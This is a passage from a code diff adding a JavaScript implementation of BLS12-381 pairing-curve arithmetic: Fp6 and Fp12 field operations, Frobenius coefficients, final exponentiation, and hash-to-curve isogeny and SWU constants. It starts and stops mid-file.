=> mod.FpInvertBatch(Fp6, nums), + // Normalized + add: Fp6Add, + sub: Fp6Subtract, + mul: Fp6Multiply, + sqr: Fp6Square, + // NonNormalized stuff + addN: Fp6Add, + subN: Fp6Subtract, + mulN: Fp6Multiply, + sqrN: Fp6Square, + inv: ({ c0, c1, c2 }) => { + let t0 = Fp2.sub(Fp2.sqr(c0), Fp2.mulByNonresidue(Fp2.mul(c2, c1))); // c0² - c2 * c1 * (u + 1) + let t1 = Fp2.sub(Fp2.mulByNonresidue(Fp2.sqr(c2)), Fp2.mul(c0, c1)); // c2² * (u + 1) - c0 * c1 + let t2 = Fp2.sub(Fp2.sqr(c1), Fp2.mul(c0, c2)); // c1² - c0 * c2 + // 1/(((c2 * T1 + c1 * T2) * v) + c0 * T0) + let t4 = Fp2.inv(Fp2.add(Fp2.mulByNonresidue(Fp2.add(Fp2.mul(c2, t1), Fp2.mul(c1, t2))), Fp2.mul(c0, t0))); + return { c0: Fp2.mul(t4, t0), c1: Fp2.mul(t4, t1), c2: Fp2.mul(t4, t2) }; + }, + // Bytes utils + fromBytes: (b) => { + if (b.length !== Fp6.BYTES) + throw new Error(`fromBytes wrong length=${b.length}`); + return { + c0: Fp2.fromBytes(b.subarray(0, Fp2.BYTES)), + c1: Fp2.fromBytes(b.subarray(Fp2.BYTES, 2 * Fp2.BYTES)), + c2: Fp2.fromBytes(b.subarray(2 * Fp2.BYTES)), + }; + }, + toBytes: ({ c0, c1, c2 }) => concatB(Fp2.toBytes(c0), Fp2.toBytes(c1), Fp2.toBytes(c2)), + cmov: ({ c0, c1, c2 }, { c0: r0, c1: r1, c2: r2 }, c) => ({ + c0: Fp2.cmov(c0, r0, c), + c1: Fp2.cmov(c1, r1, c), + c2: Fp2.cmov(c2, r2, c), + }), + // Utils + // fromTriple(triple: [Fp2, Fp2, Fp2]) { + // return new Fp6(...triple); + // } + // toString() { + // return `Fp6(${this.c0} + ${this.c1} * v, ${this.c2} * v^2)`; + // } + fromBigSix: (t) => { + if (!Array.isArray(t) || t.length !== 6) + throw new Error('Invalid Fp6 usage'); + return { + c0: Fp2.fromBigTuple(t.slice(0, 2)), + c1: Fp2.fromBigTuple(t.slice(2, 4)), + c2: Fp2.fromBigTuple(t.slice(4, 6)), + }; + }, + frobeniusMap: ({ c0, c1, c2 }, power) => ({ + c0: Fp2.frobeniusMap(c0, power), + c1: Fp2.mul(Fp2.frobeniusMap(c1, power), FP6_FROBENIUS_COEFFICIENTS_1[power % 6]), + c2: Fp2.mul(Fp2.frobeniusMap(c2, power), FP6_FROBENIUS_COEFFICIENTS_2[power % 6]), + }), + mulByNonresidue: ({ c0, c1, c2 }) => ({ c0: Fp2.mulByNonresidue(c2), c1: c0, c2: c1 }), + // Sparse multiplication + multiplyBy1: ({ c0, c1, c2 }, b1) => ({ + c0: Fp2.mulByNonresidue(Fp2.mul(c2, b1)), + c1: Fp2.mul(c0, b1), + c2: Fp2.mul(c1, b1), + }), + // Sparse multiplication + multiplyBy01({ c0, c1, c2 }, b0, b1) { + let t0 = Fp2.mul(c0, b0); // c0 * b0 + let t1 = Fp2.mul(c1, b1); // c1 * b1 + return { + // ((c1 + c2) * b1 - T1) * (u + 1) + T0 + c0: Fp2.add(Fp2.mulByNonresidue(Fp2.sub(Fp2.mul(Fp2.add(c1, c2), b1), t1)), t0), + // (b0 + b1) * (c0 + c1) - T0 - T1 + c1: Fp2.sub(Fp2.sub(Fp2.mul(Fp2.add(b0, b1), Fp2.add(c0, c1)), t0), t1), + // (c0 + c2) * b0 - T0 + T1 + c2: Fp2.add(Fp2.sub(Fp2.mul(Fp2.add(c0, c2), b0), t0), t1), + }; + }, + multiplyByFp2: ({ c0, c1, c2 }, rhs) => ({ + c0: Fp2.mul(c0, rhs), + c1: Fp2.mul(c1, rhs), + c2: Fp2.mul(c2, rhs), + }), +}; +const FP6_FROBENIUS_COEFFICIENTS_1 = [ + [BigInt('0x1'), BigInt('0x0')], + [ + BigInt('0x0'), + BigInt('0x1a0111ea397fe699ec02408663d4de85aa0d857d89759ad4897d29650fb85f9b409427eb4f49fffd8bfd00000000aaac'), + ], + [ + BigInt('0x00000000000000005f19672fdf76ce51ba69c6076a0f77eaddb3a93be6f89688de17d813620a00022e01fffffffefffe'), + BigInt('0x0'), + ], + [BigInt('0x0'), BigInt('0x1')], + [ + BigInt('0x1a0111ea397fe699ec02408663d4de85aa0d857d89759ad4897d29650fb85f9b409427eb4f49fffd8bfd00000000aaac'), + BigInt('0x0'), + ], + [ + BigInt('0x0'), + BigInt('0x00000000000000005f19672fdf76ce51ba69c6076a0f77eaddb3a93be6f89688de17d813620a00022e01fffffffefffe'), + ], +].map((pair) => Fp2.fromBigTuple(pair)); +const FP6_FROBENIUS_COEFFICIENTS_2 = [ + [BigInt('0x1'), BigInt('0x0')], + [ + BigInt('0x1a0111ea397fe699ec02408663d4de85aa0d857d89759ad4897d29650fb85f9b409427eb4f49fffd8bfd00000000aaad'), + BigInt('0x0'), + ], + [ + BigInt('0x1a0111ea397fe699ec02408663d4de85aa0d857d89759ad4897d29650fb85f9b409427eb4f49fffd8bfd00000000aaac'), + BigInt('0x0'), + ], + [ + BigInt('0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaaa'), + BigInt('0x0'), + ], + [ + BigInt('0x00000000000000005f19672fdf76ce51ba69c6076a0f77eaddb3a93be6f89688de17d813620a00022e01fffffffefffe'), + BigInt('0x0'), + ], + [ + BigInt('0x00000000000000005f19672fdf76ce51ba69c6076a0f77eaddb3a93be6f89688de17d813620a00022e01fffffffeffff'), + BigInt('0x0'), + ], +].map((pair) => Fp2.fromBigTuple(pair)); +// The BLS parameter x for BLS12-381 +const BLS_X = BigInt('0xd201000000010000'); +const BLS_X_LEN = bitLen(BLS_X); +const Fp12Add = ({ c0, c1 }, { c0: r0, c1: r1 }) => ({ + c0: Fp6.add(c0, r0), + c1: Fp6.add(c1, r1), +}); +const Fp12Subtract = ({ c0, c1 }, { c0: r0, c1: r1 }) => ({ + c0: Fp6.sub(c0, r0), + c1: Fp6.sub(c1, r1), +}); +const Fp12Multiply = ({ c0, c1 }, rhs) => { + if (typeof rhs === 'bigint') + return { c0: Fp6.mul(c0, rhs), c1: Fp6.mul(c1, rhs) }; + let { c0: r0, c1: r1 } = rhs; + let t1 = Fp6.mul(c0, r0); // c0 * r0 + let t2 = Fp6.mul(c1, r1); // c1 * r1 + return { + c0: Fp6.add(t1, Fp6.mulByNonresidue(t2)), + // (c0 + c1) * (r0 + r1) - (T1 + T2) + c1: Fp6.sub(Fp6.mul(Fp6.add(c0, c1), Fp6.add(r0, r1)), Fp6.add(t1, t2)), + }; +}; +const Fp12Square = ({ c0, c1 }) => { + let ab = Fp6.mul(c0, c1); // c0 * c1 + return { + // (c1 * v + c0) * (c0 + c1) - AB - AB * v + c0: Fp6.sub(Fp6.sub(Fp6.mul(Fp6.add(Fp6.mulByNonresidue(c1), c0), Fp6.add(c0, c1)), ab), Fp6.mulByNonresidue(ab)), + c1: Fp6.add(ab, ab), + }; // AB + AB +}; +function Fp4Square(a, b) { + const a2 = Fp2.sqr(a); + const b2 = Fp2.sqr(b); + return { + first: Fp2.add(Fp2.mulByNonresidue(b2), a2), + second: Fp2.sub(Fp2.sub(Fp2.sqr(Fp2.add(a, b)), a2), b2), // (a + b)² - a² - b² + }; +} +const Fp12 = { + ORDER: Fp2.ORDER, + BITS: 2 * Fp2.BITS, + BYTES: 2 * Fp2.BYTES, + MASK: bitMask(2 * Fp2.BITS), + ZERO: { c0: Fp6.ZERO, c1: Fp6.ZERO }, + ONE: { c0: Fp6.ONE, c1: Fp6.ZERO }, + create: (num) => num, + isValid: ({ c0, c1 }) => Fp6.isValid(c0) && Fp6.isValid(c1), + is0: ({ c0, c1 }) => Fp6.is0(c0) && Fp6.is0(c1), + neg: ({ c0, c1 }) => ({ c0: Fp6.neg(c0), c1: Fp6.neg(c1) }), + eql: ({ c0, c1 }, { c0: r0, c1: r1 }) => Fp6.eql(c0, r0) && Fp6.eql(c1, r1), + sqrt: () => { + throw new Error('Not implemented'); + }, + inv: ({ c0, c1 }) => { + let t = Fp6.inv(Fp6.sub(Fp6.sqr(c0), Fp6.mulByNonresidue(Fp6.sqr(c1)))); // 1 / (c0² - c1² * v) + return { c0: Fp6.mul(c0, t), c1: Fp6.neg(Fp6.mul(c1, t)) }; // ((C0 * T) * T) + (-C1 * T) * w + }, + div: (lhs, rhs) => Fp12.mul(lhs, typeof rhs === 'bigint' ? Fp.inv(Fp.create(rhs)) : Fp12.inv(rhs)), + pow: (num, power) => mod.FpPow(Fp12, num, power), + invertBatch: (nums) => mod.FpInvertBatch(Fp12, nums), + // Normalized + add: Fp12Add, + sub: Fp12Subtract, + mul: Fp12Multiply, + sqr: Fp12Square, + // NonNormalized stuff + addN: Fp12Add, + subN: Fp12Subtract, + mulN: Fp12Multiply, + sqrN: Fp12Square, + // Bytes utils + fromBytes: (b) => { + if (b.length !== Fp12.BYTES) + throw new Error(`fromBytes wrong length=${b.length}`); + return { + c0: Fp6.fromBytes(b.subarray(0, Fp6.BYTES)), + c1: Fp6.fromBytes(b.subarray(Fp6.BYTES)), + }; + }, + toBytes: ({ c0, c1 }) => concatB(Fp6.toBytes(c0), Fp6.toBytes(c1)), + cmov: ({ c0, c1 }, { c0: r0, c1: r1 }, c) => ({ + c0: Fp6.cmov(c0, r0, c), + c1: Fp6.cmov(c1, r1, c), + }), + // Utils + // toString() { + // return `Fp12(${this.c0} + ${this.c1} * w)`; + // }, + // fromTuple(c: [Fp6, Fp6]) { + // return new Fp12(...c); + // } + fromBigTwelve: (t) => ({ + c0: Fp6.fromBigSix(t.slice(0, 6)), + c1: Fp6.fromBigSix(t.slice(6, 12)), + }), + // Raises to q**i -th power + frobeniusMap(lhs, power) { + const r0 = Fp6.frobeniusMap(lhs.c0, power); + const { c0, c1, c2 } = Fp6.frobeniusMap(lhs.c1, power); + const coeff = FP12_FROBENIUS_COEFFICIENTS[power % 12]; + return { + c0: r0, + c1: Fp6.create({ + c0: Fp2.mul(c0, coeff), + c1: Fp2.mul(c1, coeff), + c2: Fp2.mul(c2, coeff), + }), + }; + }, + // Sparse multiplication + multiplyBy014: ({ c0, c1 }, o0, o1, o4) => { + let t0 = Fp6.multiplyBy01(c0, o0, o1); + let t1 = Fp6.multiplyBy1(c1, o4); + return { + c0: Fp6.add(Fp6.mulByNonresidue(t1), t0), + // (c1 + c0) * [o0, o1+o4] - T0 - T1 + c1: Fp6.sub(Fp6.sub(Fp6.multiplyBy01(Fp6.add(c1, c0), o0, Fp2.add(o1, o4)), t0), t1), + }; + }, + multiplyByFp2: ({ c0, c1 }, rhs) => ({ + c0: Fp6.multiplyByFp2(c0, rhs), + c1: Fp6.multiplyByFp2(c1, rhs), + }), + conjugate: ({ c0, c1 }) => ({ c0, c1: Fp6.neg(c1) }), + // A cyclotomic group is a subgroup of Fp^n defined by + // GΦₙ(p) = {α ∈ Fpⁿ : α^Φₙ(p) = 1} + // The result of any pairing is in a cyclotomic subgroup + // https://eprint.iacr.org/2009/565.pdf + _cyclotomicSquare: ({ c0, c1 }) => { + const { c0: c0c0, c1: c0c1, c2: c0c2 } = c0; + const { c0: c1c0, c1: c1c1, c2: c1c2 } = c1; + const { first: t3, second: t4 } = Fp4Square(c0c0, c1c1); + const { first: t5, second: t6 } = Fp4Square(c1c0, c0c2); + const { first: t7, second: t8 } = Fp4Square(c0c1, c1c2); + let t9 = Fp2.mulByNonresidue(t8); // T8 * (u + 1) + return { + c0: Fp6.create({ + c0: Fp2.add(Fp2.mul(Fp2.sub(t3, c0c0), _2n), t3), + c1: Fp2.add(Fp2.mul(Fp2.sub(t5, c0c1), _2n), t5), + c2: Fp2.add(Fp2.mul(Fp2.sub(t7, c0c2), _2n), t7), + }), + c1: Fp6.create({ + c0: Fp2.add(Fp2.mul(Fp2.add(t9, c1c0), _2n), t9), + c1: Fp2.add(Fp2.mul(Fp2.add(t4, c1c1), _2n), t4), + c2: Fp2.add(Fp2.mul(Fp2.add(t6, c1c2), _2n), t6), + }), + }; // 2 * (T6 + c1c2) + T6 + }, + _cyclotomicExp(num, n) { + let z = Fp12.ONE; + for (let i = BLS_X_LEN - 1; i >= 0; i--) { + z = Fp12._cyclotomicSquare(z); + if (bitGet(n, i)) + z = Fp12.mul(z, num); + } + return z; + }, + // https://eprint.iacr.org/2010/354.pdf + // https://eprint.iacr.org/2009/565.pdf + finalExponentiate: (num) => { + const x = BLS_X; + // this^(q⁶) / this + const t0 = Fp12.div(Fp12.frobeniusMap(num, 6), num); + // t0^(q²) * t0 + const t1 = Fp12.mul(Fp12.frobeniusMap(t0, 2), t0); + const t2 = Fp12.conjugate(Fp12._cyclotomicExp(t1, x)); + const t3 = Fp12.mul(Fp12.conjugate(Fp12._cyclotomicSquare(t1)), t2); + const t4 = Fp12.conjugate(Fp12._cyclotomicExp(t3, x)); + const t5 = Fp12.conjugate(Fp12._cyclotomicExp(t4, x)); + const t6 = Fp12.mul(Fp12.conjugate(Fp12._cyclotomicExp(t5, x)), Fp12._cyclotomicSquare(t2)); + const t7 = Fp12.conjugate(Fp12._cyclotomicExp(t6, x)); + const t2_t5_pow_q2 = Fp12.frobeniusMap(Fp12.mul(t2, t5), 2); + const t4_t1_pow_q3 = Fp12.frobeniusMap(Fp12.mul(t4, t1), 3); + const t6_t1c_pow_q1 = Fp12.frobeniusMap(Fp12.mul(t6, Fp12.conjugate(t1)), 1); + const t7_t3c_t1 = Fp12.mul(Fp12.mul(t7, Fp12.conjugate(t3)), t1); + // (t2 * t5)^(q²) * (t4 * t1)^(q³) * (t6 * t1.conj)^(q^1) * t7 * t3.conj * t1 + return Fp12.mul(Fp12.mul(Fp12.mul(t2_t5_pow_q2, t4_t1_pow_q3), t6_t1c_pow_q1), t7_t3c_t1); + }, +}; +const FP12_FROBENIUS_COEFFICIENTS = [ + [BigInt('0x1'), BigInt('0x0')], + [ + BigInt('0x1904d3bf02bb0667c231beb4202c0d1f0fd603fd3cbd5f4f7b2443d784bab9c4f67ea53d63e7813d8d0775ed92235fb8'), + BigInt('0x00fc3e2b36c4e03288e9e902231f9fb854a14787b6c7b36fec0c8ec971f63c5f282d5ac14d6c7ec22cf78a126ddc4af3'), + ], + [ + BigInt('0x00000000000000005f19672fdf76ce51ba69c6076a0f77eaddb3a93be6f89688de17d813620a00022e01fffffffeffff'), + BigInt('0x0'), + ], + [ + BigInt('0x135203e60180a68ee2e9c448d77a2cd91c3dedd930b1cf60ef396489f61eb45e304466cf3e67fa0af1ee7b04121bdea2'), + BigInt('0x06af0e0437ff400b6831e36d6bd17ffe48395dabc2d3435e77f76e17009241c5ee67992f72ec05f4c81084fbede3cc09'), + ], + [ + BigInt('0x00000000000000005f19672fdf76ce51ba69c6076a0f77eaddb3a93be6f89688de17d813620a00022e01fffffffefffe'), + BigInt('0x0'), + ], + [ + BigInt('0x144e4211384586c16bd3ad4afa99cc9170df3560e77982d0db45f3536814f0bd5871c1908bd478cd1ee605167ff82995'), + BigInt('0x05b2cfd9013a5fd8df47fa6b48b1e045f39816240c0b8fee8beadf4d8e9c0566c63a3e6e257f87329b18fae980078116'), + ], + [ + BigInt('0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaaa'), + BigInt('0x0'), + ], + [ + BigInt('0x00fc3e2b36c4e03288e9e902231f9fb854a14787b6c7b36fec0c8ec971f63c5f282d5ac14d6c7ec22cf78a126ddc4af3'), + BigInt('0x1904d3bf02bb0667c231beb4202c0d1f0fd603fd3cbd5f4f7b2443d784bab9c4f67ea53d63e7813d8d0775ed92235fb8'), + ], + [ + BigInt('0x1a0111ea397fe699ec02408663d4de85aa0d857d89759ad4897d29650fb85f9b409427eb4f49fffd8bfd00000000aaac'), + BigInt('0x0'), + ], + [ + BigInt('0x06af0e0437ff400b6831e36d6bd17ffe48395dabc2d3435e77f76e17009241c5ee67992f72ec05f4c81084fbede3cc09'), + BigInt('0x135203e60180a68ee2e9c448d77a2cd91c3dedd930b1cf60ef396489f61eb45e304466cf3e67fa0af1ee7b04121bdea2'), + ], + [ + BigInt('0x1a0111ea397fe699ec02408663d4de85aa0d857d89759ad4897d29650fb85f9b409427eb4f49fffd8bfd00000000aaad'), + BigInt('0x0'), + ], + [ + BigInt('0x05b2cfd9013a5fd8df47fa6b48b1e045f39816240c0b8fee8beadf4d8e9c0566c63a3e6e257f87329b18fae980078116'), + BigInt('0x144e4211384586c16bd3ad4afa99cc9170df3560e77982d0db45f3536814f0bd5871c1908bd478cd1ee605167ff82995'), + ], +].map((n) => Fp2.fromBigTuple(n)); +// END OF CURVE FIELDS +// HashToCurve +// 3-isogeny map from E' to E https://www.rfc-editor.org/rfc/rfc9380#appendix-E.3 +const isogenyMapG2 = isogenyMap(Fp2, [ + // xNum + [ + [ + '0x5c759507e8e333ebb5b7a9a47d7ed8532c52d39fd3a042a88b58423c50ae15d5c2638e343d9c71c6238aaaaaaaa97d6', + '0x5c759507e8e333ebb5b7a9a47d7ed8532c52d39fd3a042a88b58423c50ae15d5c2638e343d9c71c6238aaaaaaaa97d6', + ], + [ + '0x0', + '0x11560bf17baa99bc32126fced787c88f984f87adf7ae0c7f9a208c6b4f20a4181472aaa9cb8d555526a9ffffffffc71a', + ], + [ + '0x11560bf17baa99bc32126fced787c88f984f87adf7ae0c7f9a208c6b4f20a4181472aaa9cb8d555526a9ffffffffc71e', + '0x8ab05f8bdd54cde190937e76bc3e447cc27c3d6fbd7063fcd104635a790520c0a395554e5c6aaaa9354ffffffffe38d', + ], + [ + '0x171d6541fa38ccfaed6dea691f5fb614cb14b4e7f4e810aa22d6108f142b85757098e38d0f671c7188e2aaaaaaaa5ed1', + '0x0', + ], + ], + // xDen + [ + [ + '0x0', + '0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaa63', + ], + [ + '0xc', + '0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaa9f', + ], + ['0x1', '0x0'], // LAST 1 + ], + // yNum + [ + [ + '0x1530477c7ab4113b59a4c18b076d11930f7da5d4a07f649bf54439d87d27e500fc8c25ebf8c92f6812cfc71c71c6d706', + '0x1530477c7ab4113b59a4c18b076d11930f7da5d4a07f649bf54439d87d27e500fc8c25ebf8c92f6812cfc71c71c6d706', + ], + [ + '0x0', + '0x5c759507e8e333ebb5b7a9a47d7ed8532c52d39fd3a042a88b58423c50ae15d5c2638e343d9c71c6238aaaaaaaa97be', + ], + [ + '0x11560bf17baa99bc32126fced787c88f984f87adf7ae0c7f9a208c6b4f20a4181472aaa9cb8d555526a9ffffffffc71c', + '0x8ab05f8bdd54cde190937e76bc3e447cc27c3d6fbd7063fcd104635a790520c0a395554e5c6aaaa9354ffffffffe38f', + ], + [ + '0x124c9ad43b6cf79bfbf7043de3811ad0761b0f37a1e26286b0e977c69aa274524e79097a56dc4bd9e1b371c71c718b10', + '0x0', + ], + ], + // yDen + [ + [ + '0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffa8fb', + '0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffa8fb', + ], + [ + '0x0', + '0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffa9d3', + ], + [ + '0x12', + '0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaa99', + ], + ['0x1', '0x0'], // LAST 1 + ], +].map((i) => i.map((pair) => Fp2.fromBigTuple(pair.map(BigInt))))); +// 11-isogeny map from E' to E +const isogenyMapG1 = isogenyMap(Fp, [ + // xNum + [ + '0x11a05f2b1e833340b809101dd99815856b303e88a2d7005ff2627b56cdb4e2c85610c2d5f2e62d6eaeac1662734649b7', + '0x17294ed3e943ab2f0588bab22147a81c7c17e75b2f6a8417f565e33c70d1e86b4838f2a6f318c356e834eef1b3cb83bb', + '0xd54005db97678ec1d1048c5d10a9a1bce032473295983e56878e501ec68e25c958c3e3d2a09729fe0179f9dac9edcb0', + '0x1778e7166fcc6db74e0609d307e55412d7f5e4656a8dbf25f1b33289f1b330835336e25ce3107193c5b388641d9b6861', + '0xe99726a3199f4436642b4b3e4118e5499db995a1257fb3f086eeb65982fac18985a286f301e77c451154ce9ac8895d9', + '0x1630c3250d7313ff01d1201bf7a74ab5db3cb17dd952799b9ed3ab9097e68f90a0870d2dcae73d19cd13c1c66f652983', + '0xd6ed6553fe44d296a3726c38ae652bfb11586264f0f8ce19008e218f9c86b2a8da25128c1052ecaddd7f225a139ed84', + '0x17b81e7701abdbe2e8743884d1117e53356de5ab275b4db1a682c62ef0f2753339b7c8f8c8f475af9ccb5618e3f0c88e', + '0x80d3cf1f9a78fc47b90b33563be990dc43b756ce79f5574a2c596c928c5d1de4fa295f296b74e956d71986a8497e317', + '0x169b1f8e1bcfa7c42e0c37515d138f22dd2ecb803a0c5c99676314baf4bb1b7fa3190b2edc0327797f241067be390c9e', + '0x10321da079ce07e272d8ec09d2565b0dfa7dccdde6787f96d50af36003b14866f69b771f8c285decca67df3f1605fb7b', + '0x6e08c248e260e70bd1e962381edee3d31d79d7e22c837bc23c0bf1bc24c6b68c24b1b80b64d391fa9c8ba2e8ba2d229', + ], + // xDen + [ + '0x8ca8d548cff19ae18b2e62f4bd3fa6f01d5ef4ba35b48ba9c9588617fc8ac62b558d681be343df8993cf9fa40d21b1c', + '0x12561a5deb559c4348b4711298e536367041e8ca0cf0800c0126c2588c48bf5713daa8846cb026e9e5c8276ec82b3bff', + '0xb2962fe57a3225e8137e629bff2991f6f89416f5a718cd1fca64e00b11aceacd6a3d0967c94fedcfcc239ba5cb83e19', + '0x3425581a58ae2fec83aafef7c40eb545b08243f16b1655154cca8abc28d6fd04976d5243eecf5c4130de8938dc62cd8', + '0x13a8e162022914a80a6f1d5f43e7a07dffdfc759a12062bb8d6b44e833b306da9bd29ba81f35781d539d395b3532a21e', + '0xe7355f8e4e667b955390f7f0506c6e9395735e9ce9cad4d0a43bcef24b8982f7400d24bc4228f11c02df9a29f6304a5', + '0x772caacf16936190f3e0c63e0596721570f5799af53a1894e2e073062aede9cea73b3538f0de06cec2574496ee84a3a', + '0x14a7ac2a9d64a8b230b3f5b074cf01996e7f63c21bca68a81996e1cdf9822c580fa5b9489d11e2d311f7d99bbdcc5a5e', + '0xa10ecf6ada54f825e920b3dafc7a3cce07f8d1d7161366b74100da67f39883503826692abba43704776ec3a79a1d641', + '0x95fc13ab9e92ad4476d6e3eb3a56680f682b4ee96f7d03776df533978f31c1593174e4b4b7865002d6384d168ecdd0a', + '0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001', // LAST 1 + ], + // yNum + [ + '0x90d97c81ba24ee0259d1f094980dcfa11ad138e48a869522b52af6c956543d3cd0c7aee9b3ba3c2be9845719707bb33', + '0x134996a104ee5811d51036d776fb46831223e96c254f383d0f906343eb67ad34d6c56711962fa8bfe097e75a2e41c696', + '0xcc786baa966e66f4a384c86a3b49942552e2d658a31ce2c344be4b91400da7d26d521628b00523b8dfe240c72de1f6', + '0x1f86376e8981c217898751ad8746757d42aa7b90eeb791c09e4a3ec03251cf9de405aba9ec61deca6355c77b0e5f4cb', + '0x8cc03fdefe0ff135caf4fe2a21529c4195536fbe3ce50b879833fd221351adc2ee7f8dc099040a841b6daecf2e8fedb', + '0x16603fca40634b6a2211e11db8f0a6a074a7d0d4afadb7bd76505c3d3ad5544e203f6326c95a807299b23ab13633a5f0', + '0x4ab0b9bcfac1bbcb2c977d027796b3ce75bb8ca2be184cb5231413c4d634f3747a87ac2460f415ec961f8855fe9d6f2', + '0x987c8d5333ab86fde9926bd2ca6c674170a05bfe3bdd81ffd038da6c26c842642f64550fedfe935a15e4ca31870fb29', + '0x9fc4018bd96684be88c9e221e4da1bb8f3abd16679dc26c1e8b6e6a1f20cabe69d65201c78607a360370e577bdba587', + '0xe1bba7a1186bdb5223abde7ada14a23c42a0ca7915af6fe06985e7ed1e4d43b9b3f7055dd4eba6f2bafaaebca731c30', + '0x19713e47937cd1be0dfd0b8f1d43fb93cd2fcbcb6caf493fd1183e416389e61031bf3a5cce3fbafce813711ad011c132', + '0x18b46a908f36f6deb918c143fed2edcc523559b8aaf0c2462e6bfe7f911f643249d9cdf41b44d606ce07c8a4d0074d8e', + '0xb182cac101b9399d155096004f53f447aa7b12a3426b08ec02710e807b4633f06c851c1919211f20d4c04f00b971ef8', + '0x245a394ad1eca9b72fc00ae7be315dc757b3b080d4c158013e6632d3c40659cc6cf90ad1c232a6442d9d3f5db980133', + '0x5c129645e44cf1102a159f748c4a3fc5e673d81d7e86568d9ab0f5d396a7ce46ba1049b6579afb7866b1e715475224b', + '0x15e6be4e990f03ce4ea50b3b42df2eb5cb181d8f84965a3957add4fa95af01b2b665027efec01c7704b456be69c8b604', + ], + // yDen + [ + '0x16112c4c3a9c98b252181140fad0eae9601a6de578980be6eec3232b5be72e7a07f3688ef60c206d01479253b03663c1', + '0x1962d75c2381201e1a0cbd6c43c348b885c84ff731c4d59ca4a10356f453e01f78a4260763529e3532f6102c2e49a03d', + '0x58df3306640da276faaae7d6e8eb15778c4855551ae7f310c35a5dd279cd2eca6757cd636f96f891e2538b53dbf67f2', + '0x16b7d288798e5395f20d23bf89edb4d1d115c5dbddbcd30e123da489e726af41727364f2c28297ada8d26d98445f5416', + '0xbe0e079545f43e4b00cc912f8228ddcc6d19c9f0f69bbb0542eda0fc9dec916a20b15dc0fd2ededda39142311a5001d', + '0x8d9e5297186db2d9fb266eaac783182b70152c65550d881c5ecd87b6f0f5a6449f38db9dfa9cce202c6477faaf9b7ac', + '0x166007c08a99db2fc3ba8734ace9824b5eecfdfa8d0cf8ef5dd365bc400a0051d5fa9c01a58b1fb93d1a1399126a775c', + '0x16a3ef08be3ea7ea03bcddfabba6ff6ee5a4375efa1f4fd7feb34fd206357132b920f5b00801dee460ee415a15812ed9', + '0x1866c8ed336c61231a1be54fd1d74cc4f9fb0ce4c6af5920abc5750c4bf39b4852cfe2f7bb9248836b233d9d55535d4a', + '0x167a55cda70a6e1cea820597d94a84903216f763e13d87bb5308592e7ea7d4fbc7385ea3d529b35e346ef48bb8913f55', + '0x4d2f259eea405bd48f010a01ad2911d9c6dd039bb61a6290e591b36e636a5c871a5c29f4f83060400f8b49cba8f6aa8', + '0xaccbb67481d033ff5852c1e48c50c477f94ff8aefce42d28c0f9a88cea7913516f968986f7ebbea9684b529e2561092', + '0xad6b9514c767fe3c3613144b45f1496543346d98adf02267d5ceef9a00d9b8693000763e3b90ac11e99b138573345cc', + '0x2660400eb2e4f3b628bdd0d53cd76f2bf565b94e72927c1cb748df27942480e420517bd8714cc80d1fadc1326ed06f7', + '0xe0fa1d816ddc03e6b24255e0d7819c171c40f65e273b853324efcd6356caa205ca2f570f13497804415473a1d634b8f', + '0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001', // LAST 1 + ], +].map((i) => i.map((j) => BigInt(j)))); +// SWU Map - Fp2 to G2': y² = x³ + 240i * x + 1012 + 1012i +const G2_SWU = mapToCurveSimpleSWU(Fp2, { + A: Fp2.create({ c0: Fp.create(_0n), c1: Fp.create(BigInt(240)) }), + B: Fp2.create({ c0: Fp.create(BigInt(1012)), c1: Fp.create(BigInt(1012)) }), + Z: Fp2.create({ c0: Fp.create(BigInt(-2)), c1: Fp.create(BigInt(-1)) }), // Z: -(2 + I) +}); +// Optimized SWU Map - Fp to G1 +const G1_SWU = mapToCurveSimpleSWU(Fp, { + A: Fp.create(BigInt('0x144698a3b8e9433d693a02c96d4982b0ea985383ee66a8d8e8981aefd881ac98936f8da0e0f97f5cf428082d584c1d')), + B: Fp.create(BigInt('0x12e2908d11688030018b12e8753eee3b2016c1f0f24f4070a0b9c14fcef35ef55a23215a316ceaa5d1cc48e98e172be0')), + Z: Fp.create(BigInt(11)), +}); +// Endomorphisms (for fast cofactor clearing) +// Ψ(P) endomorphism +const ut_root = Fp6.create({ c0: Fp2.ZERO, c1: Fp2.ONE, c2: Fp2.ZERO }); +const wsq = Fp12.create({ c0: ut_root, c1: Fp6.ZERO }); +const wcu = Fp12.create({ c0: Fp6.ZERO, c1: ut_root }); +const [wsq_inv, wcu_inv] = Fp12.invertBatch([wsq, wcu]); +function psi(x, y) { + // Untwist Fp2->Fp12 && frobenius(1) && twist back + const x2 = Fp12.mul(Fp12.frobeniusMap(Fp12.multiplyByFp2(wsq_inv, x), 1), wsq).c0.c0; + const y2 = Fp12.mul(Fp12.frobeniusMap(Fp12.multiplyByFp2(wcu_inv, y), 1), wcu).c0.c0; + return [x2, y2]; +} +// Ψ endomorphism +function G2psi(c, P) { + const affine = P.toAffine(); + const p = psi(affine.x, affine.y); + return new c(p[0], p[1], Fp2.ONE); +} +// Ψ²(P) endomorphism +// 1 / F2(2)^((p-1)/3) in GF(p²) +const PSI2_C1 = BigInt('0x1a0111ea397fe699ec02408663d4de85aa0d857d89759ad4897d29650fb85f9b409427eb4f49fffd8bfd00000000aaac'); +function psi2(x, y) { + return [Fp2.mul(x, PSI2_C1), Fp2.neg(y)]; +} +function G2psi2(c, P) { + const affine = P.toAffine(); + const p = psi2(affine.x, affine.y); + return new c(p[0], p[1], Fp2.ONE); +} +// Default hash_to_field options are for hash to G2. +// +// Parameter definitions are in section 5.3 of the 